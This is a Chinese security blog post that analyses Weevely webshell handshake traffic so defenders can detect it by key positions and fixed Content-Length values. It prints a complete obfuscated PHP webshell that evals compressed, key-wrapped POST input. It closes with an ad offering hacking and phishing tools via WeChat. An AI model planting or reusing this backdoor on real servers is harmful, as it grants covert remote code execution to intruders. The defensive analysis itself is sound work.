实战Webshell管理工具Weevely检测思路分析

Weevely上线阶段分析篇

一、背景

近日,新华三盾山实验室在实战演练防守中发现一次使用Weevely攻击的事件,攻击者使用混淆的webshell绕过了安全设备检测,成功上传了恶意文件并Getshell。通过查看目标主机中的webshell木马文件,发现其混淆程度较高,通过特征不好检测,现通过分析其上线流量方式寻找有效的识别方法。

Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,类似中国菜刀。本篇文章主要介绍Weevely上线流量分析与识别、Weevely后门文件识别、Weevely加解密方法。

 

二、客户端源码分析

本段落通过分析Weevely源码,详细介绍Webshell上线交互流量,以及客户端代码实现。

客户端交互认证过程:通过http层通道发送加密信息到服务端,再通过解密服务端回复的信息,从而判断Weevely连接状态是否建立成功,客户端的具体步骤如下:

第一步:Client通过send()函数发送信息。其body字段传输信息形式为:

"t0GP$"Iw`|%yM}:bbb6070c0372HalGcBsTrB7vGn8V/hZM+Kl+4gjmjRAZyxkbcfvsNn4o+/1vBgpTAVVg4owwOS2paOscdfe42fa0db1lpU`}F4|/;_RKd^#。

1701251419_6567095bde32c96fbab03.png!small?1701251424410

1701251428_65670964244d570788816.png!small?1701251432696

第二步:通过代码中utils.sting.sxor()、zlib.compress()、base64.b64encode()加密函数以及channel.send()函数可知,请求中body密文加密字段为 “echo (X);”字样,其中X取值为(11111-99999)的随机数字。通过代码中定义变量可知,POST请求中body字段组成形式如下方所示:

body长度形式为:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)。

以上分析可知:该处可能存在Weevely工具指纹;为了验证猜想,本文进行了深入的分析验证(第四节详细分析)。

1701251473_65670991019a979ccea64.png!small?1701251477662

第三步:Client通过解密函数utils.sting.sxor()、zlib.decompress()、base64.b64decode()对接收服务端响应的body字符串进行解密,并判断字符串是否和send()函数发送到服务端的“X”值相同,从而判断客户端与服务端是否能够成功建立通信。

1701251485_6567099d7ee69d27de016.png!small?1701251490122

三、服务端源码分析

Weevely Webshell文件通过各种混淆字符插入、随机变量名以及str_replace()使用,降低了Webshell的指纹特征。如果仔细观察,会发现Webshell文件存在decode、base64、encode等明显函数,较明显的指纹特征为使用了两次str_replace()函数。

原始混淆的Webshell形式如下:

<?php
$Q='inpF2ut"),$mF2)==1) {@ob_stF2art();@eF2val(F2@gzuncF2omF2press(@x(F2@F2base6F2F24_decode($m[F21]),$k)F2));$o=F2@oF2bF2';
$n='){$F2c=sF2tF2rlen($k)F2;F2$l=strlen($t)F2;$F2F2o="";for(F2$i=0;$iF2<$lF2;){F2for($j=0;($F2j<$c&&$i<$lF2);$j+F2+,$F2i++){';
$y='$o.F2=$F2tF2F2{$i}^$k{$j};}}retF2F2urn $o;}ifF2 (@prF2eg_match("/$kh(.F2+)F2$F2kf/",@file_get_conF2teF2nts(F2F2"php://';
$j='$k="e5F25869F2F2f1";$kh="bbbF2607F20cF2F2F20372";$kf="cdfF2e42fa0db1";$pF2="hF2GF2hCrCVUrXyqix5x";fuF2nctionF2 x($t,$k';
$F='_get_contents(F2);@ob_end_F2cleF2an();$r=@base6F24F2_eF2ncode(@x(@gF2zF2compressF2F2F2($o),$k));print("$pF2$kh$r$kf");}';
$z=str_replace('ia','','criaeatiaiae_fiauniaciation');
$O=str_replace('F2','',$j.$n.$y.$Q.$F);
$v=$z('',$O);$v();
?>

通过代码逻辑可以对混淆的Webshell语句进行还原,还原结果如下图所示:

1701251556_656709e4f0e993b210e92.png!small?1701251561665

四、上线通信编码解码分析

1、请求方向字段解码

1701251571_656709f3ccd0f083a1368.png!small?1701251576335

通过反向加解密得到请求body位置加密内容为:“echo(81232);”,其中“81232” 是随机的数字组合(11111-99999)。根据加密的方法可知:当“X”为5个数字相同组合时,其加密后字符串长度为23个字节;当“X”为前四个数字相同或者后四个数字相同组合时,其加密后字符串长度为24个字节;当“X”为其他情况组合时,其加密后字符串长度均为27个字节。根据固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)可知Content-Length值为:83/80/79,此处证明了之前的猜想是成立的。

1701251579_656709fb860f68a00bb52.png!small?1701251584191

2、响应方向字段解码

接下来再反推响应body位置加密+base64编码后字符串的长度,进一步确认响应方向Content-Length值。

根据加密的方法可知:当“X”为5个数字相同或前4个数字相同组合时,其加密后的字符串长度为16个字节;当“X”为其他情况组合时,其加密后的字符串长度均为20个字节。根据回应方向固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥),得到:Content-Length值为60/56。

可知Weevely交互流量中centent-length对应关系如下:

请求中content-length:83/80 对应响应中content-length: 60

请求中content-length:79 对应响应中content-length: 56

根据下图可以推导出随机“X”字符的加密后长度是固定的。

1701251586_65670a0284744b7ccc32c.png!small?1701251591070

五、Webshell上线报文流量解析

上线流量请求和响应方向特征对比:

1701251595_65670a0b4ba022be276e5.png!small?1701251599902

根据上几节分析可确定Weevely工具特征:

请求body字段为:随机16个字节+12个字节秘钥+echo(X);的加密字符串+12个字节秘钥+16个随机字节。

响应body字段为:随机16个字节+12个字节秘钥(与请求中相同)+请求中X加密字符串+12个字节秘钥(与请求中相同)。

六、防守检测思路

初看通信流量字段信息,好像无法提取检测特征,通过分析一轮之后,通信指纹逐步清晰;因此,可根据本文的分析结果在实际场景应用起来。当存在大量流量报文时,可使用该方法快速的检出Weevely恶意流量,也可在安全检测设备使用该思路检出weevely使用痕迹。该检查思路有利于防守方在攻防演练中高效的判断是否受到Weevely攻击。下面重点介绍该分析的检测逻辑:

1701251604_65670a1460f6f72b63353.png!small?1701251608939

检测流程图

具体描述:

  • 先根据请求content-length值来筛选,并确定请求body特定字段是否符合bash64编码:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#
  • 提取请求body部分第17位字节到第28位字节以及提取倒数第17位字节到倒数第28位字节数据:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#
  • 确认响应content-length值。
  • 提取响应body部分第17位字节到第28位字节和倒数12位字节的数据:hGhCrCVUrXyqix5xbbb6070c0372HamGCAILUDNlNjo5Nw==cdfe42fa0db1
  • 判断请求body部分中第17位字节到第28位字节和倒数第17位字节到倒数第28位字节与响应body部分提取的第17位字节到第28位字节以及倒数12位字节匹配是否相等。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。 

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取 

相关推荐

  1. 流量分析-webshell管理工具

    2024-06-17 17:54:03       22 阅读
  2. 获取Webshell的一些思路

    2024-06-17 17:54:03       29 阅读
  3. 修改静态检查问题的工作思路

    2024-06-17 17:54:03       29 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-17 17:54:03       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-17 17:54:03       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-17 17:54:03       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-17 17:54:03       18 阅读

热门阅读

  1. MYSQL 批量删除连接

    2024-06-17 17:54:03       7 阅读
  2. MySQL角色使用详解

    2024-06-17 17:54:03       8 阅读
  3. 力扣373.查找和最小的K对数字

    2024-06-17 17:54:03       7 阅读
  4. 【软件测试】43个功能测试点总结

    2024-06-17 17:54:03       7 阅读
  5. 分数限制下,选好专业还是选好学校?

    2024-06-17 17:54:03       5 阅读